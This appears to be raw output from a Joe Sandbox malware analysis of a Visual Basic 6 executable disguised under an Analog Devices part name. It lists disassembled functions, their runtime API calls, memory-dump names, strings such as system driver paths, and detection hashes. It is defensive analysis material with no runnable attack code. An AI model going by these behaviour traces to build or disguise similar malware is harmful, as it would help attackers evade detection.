__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E49
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E56
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E66
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E73
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EB1
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EBC
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421ECC
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421ED9
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EE9
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EF6
#598.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F10
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F25
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F2C
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F3C
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F43
__vbaStrCat.MSVBVM60(004086A8,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F59
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F64
__vbaStrCat.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F71
#600.MSVBVM60(00000008,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F87
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F96
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F9F
#600.MSVBVM60(00004008,00000000), ref: 00421FC5
__vbaFreeStr.MSVBVM60(00422028), ref: 00421FFD
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422006
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 0042200F
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422018
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422021
__vbaErrorOverflow.MSVBVM60 ref: 0042203F

Strings

E, xrefs: 00421FA5

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$FileMove$CloseGet3$#525$CopyOpenPut3$#516#631#648BstrErrorSeek$#580#600Chkstk$#529#537#570#598ListOverflow
String ID: E
API String ID: 1020712489-3568589458
Opcode ID: 76b9ac4220b8a9f889e2395c6dcac48a977a3f37ee100d0a82cf9b9d0917f290
Instruction ID: 07c48357a9df06a9d6fdd80bdbc38809ff137e737b5eacf3c703d77614347229
Opcode Fuzzy Hash: 76b9ac4220b8a9f889e2395c6dcac48a977a3f37ee100d0a82cf9b9d0917f290
Instruction Fuzzy Hash: FC22D571900248EBDB04DFE0EA4CBDEBB74FF48305F208169E602BB2A5DBB55A45CB14

Function 004228E0 Relevance: 54.2, APIs: 36, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
#648.MSVBVM60(0000000A), ref: 00422959
__vbaFreeVar.MSVBVM60 ref: 00422968
__vbaI2I4.MSVBVM60(?), ref: 0042297C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
__vbaI2I4.MSVBVM60 ref: 0042299A
#570.MSVBVM60(00000000), ref: 004229A1
__vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
__vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
#525.MSVBVM60(00000000), ref: 004229EC
__vbaStrMove.MSVBVM60 ref: 004229F7
__vbaI2I4.MSVBVM60 ref: 00422A07
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
__vbaI2I4.MSVBVM60 ref: 00422A22
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00422A4A
__vbaStrCopy.MSVBVM60 ref: 00422A68
__vbaStrMove.MSVBVM60(00000003), ref: 00422A79
#616.MSVBVM60(00000000), ref: 00422A80
__vbaStrMove.MSVBVM60 ref: 00422A8B

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00422AA0
__vbaStrCmp.MSVBVM60(00000000), ref: 00422AA7
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422ACE

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?), ref: 00422AF4
__vbaStrMove.MSVBVM60(00000004), ref: 00422B15
#618.MSVBVM60(00000000), ref: 00422B1C
__vbaStrMove.MSVBVM60 ref: 00422B27
__vbaI4Str.MSVBVM60(00000000), ref: 00422B2E
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422B45
__vbaI2I4.MSVBVM60 ref: 00422B78
__vbaFileClose.MSVBVM60(00000000), ref: 00422B7F
__vbaFreeStr.MSVBVM60(00422BC8), ref: 00422BB8
__vbaFreeStr.MSVBVM60 ref: 00422BC1
__vbaErrorOverflow.MSVBVM60 ref: 00422BDE

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$FreeMove$#516#631BstrCopyFile$ErrorList$#525#537#570#616#618#648ChkstkCloseGet3OpenOverflowSeek
String ID:
API String ID: 1066637744-0
Opcode ID: 1310a2324c3d0e81e2fafee1945da52a380a74b9ab6bd6eb12e74ada3333a6c7
Instruction ID: 321561c39fc04c0ddddefdb4371944f0511538a09f439f710ae93618e622a53c
Opcode Fuzzy Hash: 1310a2324c3d0e81e2fafee1945da52a380a74b9ab6bd6eb12e74ada3333a6c7
Instruction Fuzzy Hash: A681D675D00248EFDB04EFA0EA48BDEBBB4FF48705F108169E612B72A0DB745A49CB54

Function 00415AF0 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E

Part of subcall function 004156D0: __vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041570B
Part of subcall function 004156D0: __vbaSetSystemError.MSVBVM60(00000000), ref: 00415719
Part of subcall function 004156D0: __vbaStrToUnicode.MSVBVM60(?,?), ref: 00415724
Part of subcall function 004156D0: __vbaFreeStr.MSVBVM60 ref: 0041572D

#580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
#529.MSVBVM60(00004008), ref: 00415B88
#609.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00415BB5
__vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 00415BC0
__vbaVarDup.MSVBVM60 ref: 00415BDA
#709.MSVBVM60(00000000,00406544,000000FF,00000000,?), ref: 00415C0F
#616.MSVBVM60(00000000,00000000), ref: 00415C1C
__vbaStrMove.MSVBVM60 ref: 00415C27
#650.MSVBVM60(00000008,?,00000001,00000001,00000000), ref: 00415C3A
__vbaStrMove.MSVBVM60 ref: 00415C45
__vbaStrCat.MSVBVM60(00000000), ref: 00415C4C
__vbaStrMove.MSVBVM60 ref: 00415C57
#535.MSVBVM60(00000000), ref: 00415C5E
__vbaStrR4.MSVBVM60 ref: 00415C68
__vbaStrMove.MSVBVM60 ref: 00415C73
__vbaStrCat.MSVBVM60(00000000), ref: 00415C7A
__vbaStrMove.MSVBVM60 ref: 00415C85
__vbaNameFile.MSVBVM60(00000000), ref: 00415C8C
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,?,00000000), ref: 00415CAC
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,00000000,004032B6), ref: 00415CBF

Strings

yymmdd, xrefs: 00415BC6

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$ErrorList$#529#535#580#609#616#650#709AnsiChkstkFileNameSystemUnicode
String ID: yymmdd
API String ID: 2807397001-2871001947
Opcode ID: 0a52f3ea78d8377f9a2e471ac3c9d7155881456b4ba9d1ca500980605009cd58
Instruction ID: da5027675b2f5c6fcc5daed963e92fc9253badbc1f1ecd6ba165b842c6da7c45
Opcode Fuzzy Hash: 0a52f3ea78d8377f9a2e471ac3c9d7155881456b4ba9d1ca500980605009cd58
Instruction Fuzzy Hash: 48511D75900208EFDB04DF94D948BDEBBB8FF48305F108569F506BB2A0DB745A48CB94

Function 00429CA0 Relevance: 27.1, APIs: 18, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaSetSystemError.MSVBVM60(00000064,004031C0,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429CF6
#525.MSVBVM60(00000200,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D05
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D16
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D20
SHGetPathFromIDList.SHELL32(?,00000000), ref: 00429D30
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D3A
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D43
#537.MSVBVM60(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D50
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5B
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5F
#616.MSVBVM60(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D73
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D7E
__vbaStrCat.MSVBVM60(00406544,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D86
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D91
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D9D
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DB5
__vbaFreeStr.MSVBVM60(00429DEF,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DE8
__vbaErrorOverflow.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429E05

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Free$ErrorList$#525#537#616AnsiCopyFromOverflowPathSystemUnicode
String ID:
API String ID: 3494673155-0
Opcode ID: 06e0597c0c0a64de7a739e86bbd130d0eaa357415623081fa9728b986bb3ce25
Instruction ID: 358cedcb50fb0de278f4ad7536de046e5609ba25d4bc9f82414949036a89438a
Opcode Fuzzy Hash: 06e0597c0c0a64de7a739e86bbd130d0eaa357415623081fa9728b986bb3ce25
Instruction Fuzzy Hash: 46310E71D10219AFDB04EFB5DD89DEEBBB8EF58700F10812AE506B6260DA785905CB64

Function 0041E880 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,0040BC8B), ref: 0041E89E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8CE
#525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8E0
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E8EB
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041E8FC
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041E911
GetComputerNameA.KERNEL32(00000000), ref: 0041E91D
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041E92B
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E934
#537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041E949
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E954
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041E95D
#616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041E96D
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E978
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E981
__vbaFreeStr.MSVBVM60(0041E9B5,?,?,?,00000000,Function_000032B6), ref: 0041E9AE
__vbaErrorOverflow.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E9C9

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$FreeMove$Error$#525#537#616AnsiBstrChkstkComputerNameOverflowUnicode
String ID:
API String ID: 3892761589-0
Opcode ID: 315b392100c3462b08fcc4b1466ef19faf135d5fa9e097fc028cf97c92f61f1c
Instruction ID: ddd52465c9ed4945c744d66910b811b9efcc79ef8180f597879438901a225856
Opcode Fuzzy Hash: 315b392100c3462b08fcc4b1466ef19faf135d5fa9e097fc028cf97c92f61f1c
Instruction Fuzzy Hash: 3531ECB5900149EFDB04EFA4DE4DBDEBBB8EB08701F108169E502B62A0DB755A44CB64

Function 004156D0 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041570B
__vbaSetSystemError.MSVBVM60(00000000), ref: 00415719
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00415724
__vbaFreeStr.MSVBVM60 ref: 0041572D

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: bdf559da7314384f190e296f1ac055395a927108a04aa4df9cc8b86ae63a2552
Instruction ID: 3bfd6651098160e42727f528c249f020de588879550cabcf3784d8fb116c8987
Opcode Fuzzy Hash: bdf559da7314384f190e296f1ac055395a927108a04aa4df9cc8b86ae63a2552
Instruction Fuzzy Hash: 1A0121B1D00605EFCB04EFB8D94AAEF7BB8EB44700F50466AF515E3290D73899468B95

Function 00415780 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157BB
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157C9
__vbaStrToUnicode.MSVBVM60(00000000,?,?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157D4
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,00000000,004032B6,00000000), ref: 004157DD

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: 83a8390b36b60fd734ea8c397f5819164e647e3c1d550d8bc1d44403629c9ffe
Instruction ID: 842bb0dc7b1d712480adeb04c5aa04fa762cb34ee96fa383d986c0466198cab9
Opcode Fuzzy Hash: 83a8390b36b60fd734ea8c397f5819164e647e3c1d550d8bc1d44403629c9ffe
Instruction Fuzzy Hash: 580152B1C00605DFCB00EFA8C94AAAF7BB8EB44700F50422AE511E3290D73859428B95

Function 00403670 Relevance: 1.7, APIs: 1, Instructions: 176
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(00403ED4), ref: 00403675

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: 11ea1c51b5a51515781a12991443ec066bd5106ecc6824d3c35676c3fc523bff
Instruction ID: 87d76072f60c1bc7f33af001724cdeb9567c685050ecb4be3524b273619080b8
Opcode Fuzzy Hash: 11ea1c51b5a51515781a12991443ec066bd5106ecc6824d3c35676c3fc523bff
Instruction Fuzzy Hash: 805185A680E7C15FC70387704D756557FB0AE23209B2E86EBC4C0DB1E3E2AD590AD766

Non-executed Functions

Function 00416130 Relevance: 720.3, APIs: 407, Strings: 3, Instructions: 2826COMMON

Download Yara Rule

APIs

__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00416205
__vbaSetSystemError.MSVBVM60 ref: 00416230
__vbaSetSystemError.MSVBVM60 ref: 00416251
__vbaStrMove.MSVBVM60(?), ref: 00416271
__vbaStrMove.MSVBVM60(0042C028), ref: 00416284
__vbaGenerateBoundsError.MSVBVM60 ref: 004162D2
__vbaGenerateBoundsError.MSVBVM60 ref: 00416315
__vbaStrCat.MSVBVM60(00000000,00407CCC,00000000,00000001), ref: 00416350
__vbaStrMove.MSVBVM60 ref: 00416357
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0041635F
__vbaStrMove.MSVBVM60 ref: 00416366
__vbaInStr.MSVBVM60(00000001,00000000), ref: 0041636B
__vbaStrCat.MSVBVM60(00000000,00406F58,00000000,00000001), ref: 0041639A
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9

Strings

system\, xrefs: 0041702F, 0041834B, 00418442, 00418946, 00418A3E
d/m/yy h:m, xrefs: 00416560, 00417E40
system32\drivers\, xrefs: 00416C93, 00417F4F, 0041854A

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$Move$System$BoundsFreeGenerateUnlock
String ID: d/m/yy h:m$system32\drivers\$system\
API String ID: 4109330638-2282477228
Opcode ID: 161571ce6ef3f7305a61f0ace64fbd078412d40ef427ac6ccd469720dc9a114e
Instruction ID: d0160703c745c1a143ef53c75ac1b7ca3f1d84f450066f924383876c7bbd0f3b
Opcode Fuzzy Hash: 161571ce6ef3f7305a61f0ace64fbd078412d40ef427ac6ccd469720dc9a114e
Instruction Fuzzy Hash: 93336D71A00219DFCB14DFA4DD84AEEB7B9FF48300F10816AE50AE7265DB749985CF68

Function 00422F50 Relevance: 684.7, APIs: 386, Strings: 4, Instructions: 2188COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000), ref: 0042317F
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00423187
__vbaOnError.MSVBVM60(00000001,?,00000000), ref: 0042318B
__vbaRecUniToAnsi.MSVBVM60(00406E0C,?,?,00000160,00000101,?,00000000), ref: 004231B6
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,?,00000000), ref: 004231C9
__vbaSetSystemError.MSVBVM60(00000000,?,00000000), ref: 004231D5
__vbaRecAnsiToUni.MSVBVM60(00406E0C,?,?,?,00000000), ref: 004231EE
__vbaRecUniToAnsi.MSVBVM60(00406E0C,?,?,00000160,00000100,?,00000000), ref: 00423227
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,?,00000000), ref: 0042323A
__vbaSetSystemError.MSVBVM60(00000000,?,00000000), ref: 00423246
__vbaRecAnsiToUni.MSVBVM60(00406E0C,?,?,?,00000000), ref: 0042325F
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 00423270
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0042327C
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,00000278,?,00000000), ref: 004232A2
__vbaI2I4.MSVBVM60(?,00000000), ref: 004232B1
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,0000011C,?,00000000), ref: 004232D1
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,00000084,?,00000000), ref: 0042331C
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,0000008C,?,00000000), ref: 00423364
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,00000154,?,00000000), ref: 00423389
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,00000050,?,00000000), ref: 004233AD
__vbaHresultCheckObj.MSVBVM60(00000000,6D04D83C,004098D4,000000E0,?,00000000), ref: 004233E3
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,?,?,00000000,00000000,00000003,?,00000000), ref: 00423409
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004098D4,00000264,?,00000000), ref: 0042343E
